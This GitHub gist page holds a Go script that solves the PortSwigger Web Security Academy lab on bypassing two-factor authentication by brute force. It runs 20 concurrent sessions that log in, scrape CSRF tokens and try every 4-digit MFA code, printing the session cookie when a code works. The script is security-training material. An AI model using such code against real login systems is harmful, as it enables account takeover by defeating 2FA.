Forked from ChrisPritchard/2fa-bypass-using-a-brute-force-attack.go
Created
September 16, 2021 09:56
-
-
Save abdulx01/542504093199c25a3b8839229e60fd16 to your computer and use it in GitHub Desktop.
A solution script for the portwigger web-sec-academy lab "2FA bypass using a brute-force attack"
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| for this lab https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack | |
| *vastly* faster than using a burp macro with 1 thread and intruder | |
| even if it took an hour to throw together :D | |
| */ | |
| package main | |
| import ( | |
| "errors" | |
| "fmt" | |
| "io/ioutil" | |
| "log" | |
| "net/http" | |
| "os" | |
| "strconv" | |
| "strings" | |
| ) | |
| var ( | |
| username = "carlos" | |
| password = "montoya" | |
| mfalen = 4 | |
| mfamin = 1 | |
| mfamax = 9999 | |
| threads = 20 | |
| csrfTag = "<input required type=\"hidden\" name=\"csrf\" value=\"" | |
| laburl = "https://acfa1f1f1ebe64c3801822390043003e.web-security-academy.net" | |
| client = &http.Client{ | |
| CheckRedirect: func(req *http.Request, via []*http.Request) error { | |
| return http.ErrUseLastResponse | |
| }, | |
| } | |
| finished = false | |
| ) | |
| func main() { | |
| log.SetFlags(0) | |
| done := make(chan bool) | |
| for mfa := 0; mfa <= mfamax && !finished; mfa += threads { | |
| for i := mfa; i < mfa+threads; i++ { | |
| go flow(padCode(i), done) | |
| } | |
| for i := mfa; i < mfa+threads; i++ { | |
| <-done | |
| } | |
| } | |
| log.Println("done") | |
| } | |
| func padCode(code int) string { | |
| mfa := strconv.Itoa(code) | |
| for len(mfa) < mfalen { | |
| mfa = "0" + mfa | |
| } | |
| return mfa | |
| } | |
| func flow(code string, done chan bool) { | |
| cookie, csrf, err := getLogin() | |
| if err != nil { | |
| log.Fatalln(err) | |
| } | |
| cookie, err = postLogin(cookie, csrf) | |
| if err != nil { | |
| log.Fatalln(err) | |
| } | |
| csrf, err = getLogin2(cookie) | |
| if err != nil { | |
| log.Fatalln(err) | |
| } | |
| successCookie, err := postLogin2(cookie, csrf, code) | |
| if err != nil { | |
| log.Fatalln(err) | |
| } | |
| if successCookie != "" { | |
| log.Println(successCookie) | |
| finished = true | |
| } | |
| done <- true | |
| } | |
| func getLogin() (cookie, csrf string, err error) { | |
| resp, err := http.Get(laburl + "/login") | |
| if err != nil { | |
| return "", "", err | |
| } | |
| if resp.StatusCode != 200 { | |
| return "", "", fmt.Errorf("get login response was not 200 (was %d)", resp.StatusCode) | |
| } | |
| cookieSet := resp.Header.Get("Set-Cookie") | |
| cookie = cookieSet[:40] | |
| bodyBytes, err := ioutil.ReadAll(resp.Body) | |
| if err != nil { | |
| return "", "", err | |
| } | |
| html := string(bodyBytes) | |
| csrfStart := strings.Index(html, csrfTag) | |
| if csrfStart == -1 { | |
| return "", "", errors.New("can't find csrf") | |
| } | |
| csrfStart += len(csrfTag) | |
| csrfEnd := csrfStart + 32 | |
| csrf = html[csrfStart:csrfEnd] | |
| return cookie, csrf, nil | |
| } | |
| func postLogin(cookie, csrf string) (nextCookie string, err error) { | |
| data := strings.NewReader(fmt.Sprintf("csrf=%s&username=%s&password=%s", csrf, username, password)) | |
| req, _ := http.NewRequest(http.MethodPost, laburl+"/login", data) | |
| req.Header.Add("Cookie", cookie) | |
| resp, err := client.Do(req) | |
| if err != nil { | |
| return "", err | |
| } | |
| if resp.StatusCode != 302 { | |
| return "", fmt.Errorf("post login response was not 302 (was %d)", resp.StatusCode) | |
| } | |
| cookieSet := resp.Header.Get("Set-Cookie") | |
| cookie = cookieSet[:40] | |
| return cookie, nil | |
| } | |
| func getLogin2(cookie string) (csrf string, err error) { | |
| req, _ := http.NewRequest(http.MethodGet, laburl+"/login2", nil) | |
| req.Header.Add("Cookie", cookie) | |
| resp, err := client.Do(req) | |
| if err != nil { | |
| return "", err | |
| } | |
| if resp.StatusCode != 200 { | |
| return "", fmt.Errorf("get login2 response was not 200 (was %d)", resp.StatusCode) | |
| } | |
| bodyBytes, err := ioutil.ReadAll(resp.Body) | |
| if err != nil { | |
| return "", err | |
| } | |
| html := string(bodyBytes) | |
| csrfStart := strings.Index(html, csrfTag) | |
| if csrfStart == -1 { | |
| return "", errors.New("can't find csrf") | |
| } | |
| csrfStart += len(csrfTag) | |
| csrfEnd := csrfStart + 32 | |
| csrf = html[csrfStart:csrfEnd] | |
| return csrf, nil | |
| } | |
| func postLogin2(cookie, csrf, code string) (successCookie string, err error) { | |
| data := strings.NewReader(fmt.Sprintf("csrf=%s&mfa-code=%s", csrf, code)) | |
| req, _ := http.NewRequest(http.MethodPost, laburl+"/login2", data) | |
| req.Header.Add("Cookie", cookie) | |
| resp, err := client.Do(req) | |
| if err != nil { | |
| return "", err | |
| } | |
| if resp.StatusCode != 302 { | |
| return "", nil | |
| } | |
| cookieSet := resp.Header.Get("Set-Cookie") | |
| cookie = cookieSet[8:40] | |
| return cookie, nil | |
| } |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Thanks